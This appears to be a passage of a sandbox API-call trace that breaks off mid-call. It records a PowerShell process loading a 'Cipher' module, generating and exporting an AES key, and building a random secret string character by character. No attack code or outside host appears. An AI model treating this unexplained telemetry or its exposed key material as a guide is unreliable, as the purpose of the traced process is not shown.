ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.981] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0138.981] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.981] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.982] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.982] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.982] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396e78) returned 1 [0138.983] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84b38) returned 1 [0138.983] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.983] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.983] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69871d8, pdwDataLen=0x99ae894 | out: pbData=0x69871d8*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.983] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x7168\x698\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0138.983] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.983] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.983] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.983] SysStringLen (param_1="") returned 0x8 [0138.984] SysStringLen (param_1="P") returned 0x8 [0138.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.984] SysStringLen (param_1="\x4e25\x20fd\x9a75\xc89d\x7e02\x82f2\xbf94\xda3a") returned 0x8 [0138.984] SysStringLen (param_1="\x4e25\x20fd\x9a75\xc89d\x7e02\x82f2\xbf94\xda3a") returned 0x8 [0138.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.984] SysStringLen (param_1="Pt") returned 0x8 [0138.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.984] SysStringLen (param_1="\x37b2\x3830\x208\xbb95\x1ddb\x176b\xd70f\xe69f") returned 0x8 [0138.984] SysStringLen (param_1="\x37b2\x3830\x208\xbb95\x1ddb\x176b\xd70f\xe69f") returned 0x8 [0138.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.984] SysStringLen (param_1="PtV") returned 0x8 [0138.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.984] SysStringLen (param_1="\xe2de\xe39\x123c\xebcf\x3a77\x2e7a\xddaa\xbbcf") returned 0x8 [0138.984] SysStringLen (param_1="\xe2de\xe39\x123c\xebcf\x3a77\x2e7a\xddaa\xbbcf") returned 0x8 [0138.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.984] SysStringLen (param_1="PtVO") returned 0x8 [0138.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.984] SysStringLen (param_1="\xce0f\xbf87\x75d2\x35c\x1efd\x3b57\x3d8d\xbd32") returned 0x8 [0138.984] SysStringLen (param_1="\xce0f\xbf87\x75d2\x35c\x1efd\x3b57\x3d8d\xbd32") returned 0x8 [0138.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.984] SysStringLen (param_1="PtVO2") returned 0x8 [0138.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.985] SysStringLen (param_1="\x2e81\x6914\x2ca3\xcc13\x8c68\x61ef\x61ff\x5ee7") returned 0x8 [0138.985] SysStringLen (param_1="\x2e81\x6914\x2ca3\xcc13\x8c68\x61ef\x61ff\x5ee7") returned 0x8 [0138.985] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.985] SysStringLen (param_1="PtVO22") returned 0x8 [0138.985] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.985] SysStringLen (param_1="\x109b\x9763\x3a74\x7c4a\xd67a\x2ab8\x1e91\x58de") returned 0x8 [0138.985] SysStringLen (param_1="\x109b\x9763\x3a74\x7c4a\xd67a\x2ab8\x1e91\x58de") returned 0x8 [0138.985] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.985] SysStringLen (param_1="PtVO22s") returned 0x8 [0138.985] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.985] SysStringLen (param_1="\xc92a\xfbcd\xb853\x709d\xdc33\x7303\x401c\x5035") returned 0x8 [0138.985] SysStringLen (param_1="\xc92a\xfbcd\xb853\x709d\xdc33\x7303\x401c\x5035") returned 0x8 [0138.985] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.985] SysStringLen (param_1="PtVO22sd") returned 0x8 [0138.985] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.985] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15") returned 0x8 [0138.985] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15") returned 0x8 [0138.985] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15") returned 0x8 [0138.985] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15") returned 0x10 [0138.985] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.985] SysStringLen (param_1="PtVO22sdF⻅繊䖉ፖ픟૆") returned 0x10 [0138.985] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.986] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\xb386\x8436\xf702\x886e\xd358\xbbbb\xe1e7\x3dd4") returned 0x10 [0138.986] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\xb386\x8436\xf702\x886e\xd358\xbbbb\xe1e7\x3dd4") returned 0x10 [0138.986] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.986] SysStringLen (param_1="PtVO22sdFk⻅繊䖉ፖ픟૆") returned 0x10 [0138.986] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.986] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x2aa9\x1388\x6a0b\x361f\x43c3\x3378\x4698\xa2f2") returned 0x10 [0138.986] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x2aa9\x1388\x6a0b\x361f\x43c3\x3378\x4698\xa2f2") returned 0x10 [0138.986] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.986] SysStringLen (param_1="PtVO22sdFkO繊䖉ፖ픟૆") returned 0x10 [0138.986] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.986] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x83ae\xc9b9\x8942\xc811\x3c4e\x4ad6\xdc04\x12") returned 0x10 [0138.986] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x83ae\xc9b9\x8942\xc811\x3c4e\x4ad6\xdc04\x12") returned 0x10 [0138.986] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.986] SysStringLen (param_1="PtVO22sdFkOz䖉ፖ픟૆") returned 0x10 [0138.986] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.986] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\xbc3f\xcf1c\xe598\x7eca\x2f08\x5121\x1342\x88ab") returned 0x10 [0138.986] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\xbc3f\xcf1c\xe598\x7eca\x2f08\x5121\x1342\x88ab") returned 0x10 [0138.986] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.986] SysStringLen (param_1="PtVO22sdFkOzXፖ픟૆") returned 0x10 [0138.986] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\xafbf\xda6d\xc395\xf0f8\x85cd\x1108\xf388\x27fb") returned 0x10 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\xafbf\xda6d\xc395\xf0f8\x85cd\x1108\xf388\x27fb") returned 0x10 [0138.987] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.987] SysStringLen (param_1="PtVO22sdFkOzX0픟૆") returned 0x10 [0138.987] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x9c80\x8b50\x71ef\x4a6f\x74f\x13f2\x96c6\x43d9") returned 0x10 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x9c80\x8b50\x71ef\x4a6f\x74f\x13f2\x96c6\x43d9") returned 0x10 [0138.987] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.987] SysStringLen (param_1="PtVO22sdFkOzX0l૆") returned 0x10 [0138.987] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\xeae9\x50a7\x967d\x2e79\x1466\xdf86\x5f5b\xbfa1") returned 0x10 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\xeae9\x50a7\x967d\x2e79\x1466\xdf86\x5f5b\xbfa1") returned 0x10 [0138.987] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.987] SysStringLen (param_1="PtVO22sdFkOzX0ln") returned 0x10 [0138.987] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558") returned 0x10 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558") returned 0x10 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558") returned 0x10 [0138.987] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558") returned 0x18 [0138.987] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.987] SysStringLen (param_1="PtVO22sdFkOzX0lnPᡪ︅紖Ⅴ挞⎚䖋") returned 0x18 [0138.987] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x871a\xf983\x55e3\x689d\xd018\xcb1\x88fa\x5a9") returned 0x18 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x871a\xf983\x55e3\x689d\xd018\xcb1\x88fa\x5a9") returned 0x18 [0138.988] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="PtVO22sdFkOzX0lnP5︅紖Ⅴ挞⎚䖋") returned 0x18 [0138.988] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x5e9c\xcf9b\xbcf3\x89c5\xb724\x359f\x6c56\xc748") returned 0x18 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x5e9c\xcf9b\xbcf3\x89c5\xb724\x359f\x6c56\xc748") returned 0x18 [0138.988] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="PtVO22sdFkOzX0lnP5p紖Ⅴ挞⎚䖋") returned 0x18 [0138.988] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x29d5\x68ac\x5f45\x874a\x1877\x8dd6\x390f\x19d0") returned 0x18 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x29d5\x68ac\x5f45\x874a\x1877\x8dd6\x390f\x19d0") returned 0x18 [0138.988] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPⅤ挞⎚䖋") returned 0x18 [0138.988] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x3ec6\x6f64\x4839\x4a46\x3810\x3379\xdfe1\x4635") returned 0x18 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x3ec6\x6f64\x4839\x4a46\x3810\x3379\xdfe1\x4635") returned 0x18 [0138.988] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPD挞⎚䖋") returned 0x18 [0138.988] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\xfd96\x998d\x76b7\xb69f\xe14d\x5492\x1ab0\xb678") returned 0x18 [0138.988] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\xfd96\x998d\x76b7\xb69f\xe14d\x5492\x1ab0\xb678") returned 0x18 [0138.988] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.989] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDg⎚䖋") returned 0x18 [0138.989] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\xb8fa\xce7b\xa506\xc4c0\x5918\x7e24\xcdcc\x3700") returned 0x18 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\xb8fa\xce7b\xa506\xc4c0\x5918\x7e24\xcdcc\x3700") returned 0x18 [0138.989] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.989] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQ䖋") returned 0x18 [0138.989] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\xa07e\x2949\xafd\x5d9\xd9d7\x13eb\xad3a\x77bd") returned 0x18 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\xa07e\x2949\xafd\x5d9\xd9d7\x13eb\xad3a\x77bd") returned 0x18 [0138.989] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.989] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQm") returned 0x18 [0138.989] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c") returned 0x18 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c") returned 0x18 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c") returned 0x18 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c") returned 0x20 [0138.989] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.989] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdﹴ׷⢸䲷旗薫쓯") returned 0x20 [0138.989] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\xcd1f\x2e65\xd732\x47d9\x6040\xe92b\x183b\xe8d4") returned 0x20 [0138.989] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\xcd1f\x2e65\xd732\x47d9\x6040\xe92b\x183b\xe8d4") returned 0x20 [0138.989] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdV׷⢸䲷旗薫쓯") returned 0x20 [0138.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x8e58\xcda7\x5396\xd833\x983f\x7a1\x16e2\xb822") returned 0x20 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x8e58\xcda7\x5396\xd833\x983f\x7a1\x16e2\xb822") returned 0x20 [0138.990] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVX⢸䲷旗薫쓯") returned 0x20 [0138.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x4047\x24d4\xa170\x6025\x781f\x9870\xaac5\xfa3a") returned 0x20 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x4047\x24d4\xa170\x6025\x781f\x9870\xaac5\xfa3a") returned 0x20 [0138.990] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXK䲷旗薫쓯") returned 0x20 [0138.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x378d\x8731\x6930\x7654\x6859\x62b7\x954e\x9cb5") returned 0x20 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x378d\x8731\x6930\x7654\x6859\x62b7\x954e\x9cb5") returned 0x20 [0138.990] SystemFunction041 (in: Memory=0x43b19c4, 